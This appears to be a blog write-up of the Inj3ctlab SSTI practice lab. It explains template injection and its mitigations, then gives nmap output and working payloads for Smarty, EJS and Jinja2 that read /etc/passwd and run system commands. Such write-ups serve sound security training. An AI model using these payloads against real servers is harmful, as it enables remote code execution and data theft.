Skip to content

Lab Inj3ctlab - Bug Bounty Labs

Alt text

Article describing the SSTI vulnerability and providing a step-by-step guide on how to solve the Inj3ctlab laboratory from Bug Bounty Labs to practice SSTI in multiple template engines.

Table of Contents

Open table of contents

What is SSTI?

Server-Side Template Injection (SSTI) is a technique that allows an attacker to inject and execute code on the server through a template engine. This happens when the application mixes user input with server-side templates without proper control or sanitization. Below, we describe how it occurs and what its implications are:

  1. Vulnerability Context

    • Many development environments use template engines (e.g., Jinja2 in Python, Twig in PHP, Freemarker in Java, or EJS in Node.js) to generate HTML content on the server.
    • These engines allow the use of expressions or basic logic (calculations, loops, etc.) to process data and generate the final response.
  2. Causes of Injection

    • SSTI occurs when a web application directly inserts a user-provided string into the template.
    • If the template engine evaluates that string as code, arbitrary logic can be executed on the server.
    • A minimal example in Jinja2 would be passing {{ 7*7 }} into the template and observing if the returned result is 49. This demonstrates that the server is actively processing expressions.
  3. Exploitation Phases

    1. Detection: The attacker introduces a specific syntax according to the template engine to check if the string is evaluated.
    2. Escalation: If the injection works (e.g., it returns a numeric result or exposes internal objects), the attacker attempts to discover what functionalities are accessible (variables, functions, modules) within the execution environment.
    3. Code Execution: In template engines with a broad scope, it is possible to execute operating system commands or access internal resources, leading to Remote Code Execution (RCE).
  4. Security Impact

    • Complete compromise of the application and server if the engine allows arbitrary code execution.
    • Access to sensitive data, such as configuration information, credentials, or environment variables.
    • Potential pivoting to other connected systems if the vulnerable server has elevated privileges or access to internal networks.
  5. Mitigation Recommendations

    • Escape and validate input: Ensure that no user string is processed as part of the template syntax.
    • Configure the template engine: Disable or restrict functionalities that allow arbitrary code evaluation or access to internal objects.
    • Server-side logic: Separate the logical parts of the application from user-supplied content, avoiding the use of eval or similar constructs.
    • Updates and patches: Keep template engines and the rest of the infrastructure up to date with the latest security fixes.
    • Security reviews: Conduct specific tests (fuzzing, pentesting) to detect if the application is vulnerable to SSTI.

SSTI References

Server-Side Template Injection: RCE for the Modern Web App: This research delves into how SSTI vulnerabilities can lead to remote code execution in modern web applications, analyzing different template engines and providing detailed examples.

A Pentester’s Guide to Server-Side Template Injection (SSTI): This comprehensive guide for penetration testing professionals explores SSTI detection and exploitation techniques, as well as best practices for mitigation.

Template Engine References

Below is a list of template engines organized by technology, along with links to their official documentation:

JavaScript:

Python:

Ruby:

PHP:

Java:

C#:

Go:

I hope this list is useful to you.

Inj3ctlab Laboratory from Bug Bounty Labs

Inj3ctlab is a laboratory designed to practice and refine Server-Side Template Injection techniques in different environments. Developed for Bug Bounty Labs, it offers various services on different ports to simulate real-world scenarios. Through specific challenges, users can:

The laboratory provides a practical and controlled approach, ideal for experimenting with different configurations and ensuring that participants gain realistic experience in detecting SSTI vulnerabilities.

We set up the lab following the instructions from Bug Bounty Labs.

alt text

We obtain the lab’s IP address: 127.17.0.2.

Enumeration

$ nmap -p- 172.17.0.2 -oN all_ports                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 21:22 CET
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
3000/tcp open  ppp
5000/tcp open  upnp
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

nmap -p80,3000,5000 -sVC 172.17.0.2 -oN specific_ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 21:22 CET
Nmap scan report for 172.17.0.2
Host is up (0.000029s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: PHP App
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.9.2
|     Date: Sun, 02 Feb 2025 20:22:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 60524
|     Connection: close
|     <h1>Python App</h1>
|     <img src="data:image/png;base64, 

...
...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.06 seconds

We observe that the three ports 80, 3000, and 5000 have web services, which we open in the browser.

We find three services, each displaying the logo of the backend technology in use and a form field where we can enter our name.

alt text

Detecting SSTI

We attempt to detect SSTI on all three ports and find one for each technology.

TechnologyPortPayload SentResult
PHP80{7*7}Hello, 49!
Node.js3000<%=7*7%>Hello, 49!
Python5000{{7*7}}Hello, 49!

Identifying the Template Engine Behind the Scenes

Each backend technology (PHP, Node.js, Python, Java, etc.) can use different template engines (Smarty, EJS, etc.). Some engines are more commonly associated with specific technologies, but there are unusual setups that allow engines designed for PHP to run in Node.js (e.g., https://github.com/ecomfe/smarty4js), among others.

Besides the techniques explained in the previous references, we can also attempt to better understand how each template engine works and use specific variables that are unique to each engine.

Example:

TechnologyPortPayload SentExpected Result
PHP80{$smarty.version}Version of the Smarty template engine
Node.js3000<%=JSON.stringify(locals)%>All variables included in the EJS template
Python5000{{config}}Flask configuration

These are just a few examples. The key is to familiarize yourself with each template engine to properly identify them.

Achieving LFI (Local File Inclusion) and RCE (Remote Code Execution)

Now that we know which technologies are running on the backend and the payloads that allow us to execute PHP, Node.js, and Python through template injection, we can leverage the built-in functions, libraries, and modules of these technologies to achieve LFI and RCE.

LFI Examples Table

TechnologyPortPayload SentResult
PHP80{file_get_contents("/etc/passwd")}Passwd file
Node.js3000<%- include("/app/node-app/app.js")%>Application source code
Python5000{{'X'.__class__.__base__.__subclasses__()[101].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}Passwd file

As seen in PHP, it was very easy. In Node.js with EJS, I was only able to retrieve files with system extensions, and in Python, I followed the instructions from Ingo Kleiber in his post A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example.

RCE Examples Table

TechnologyPortPayload Sent
PHP80{exec("whoami")}
Node.js3000?
Python5000{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

With PHP (Smarty) and Python (Flask), achieving RCE was straightforward, but with Node.js and EJS, I was unable to execute it.

From this point, a reverse shell or any other command could be executed on the server.

I hope this lab and article help someone learn more about SSTI and template engine technologies.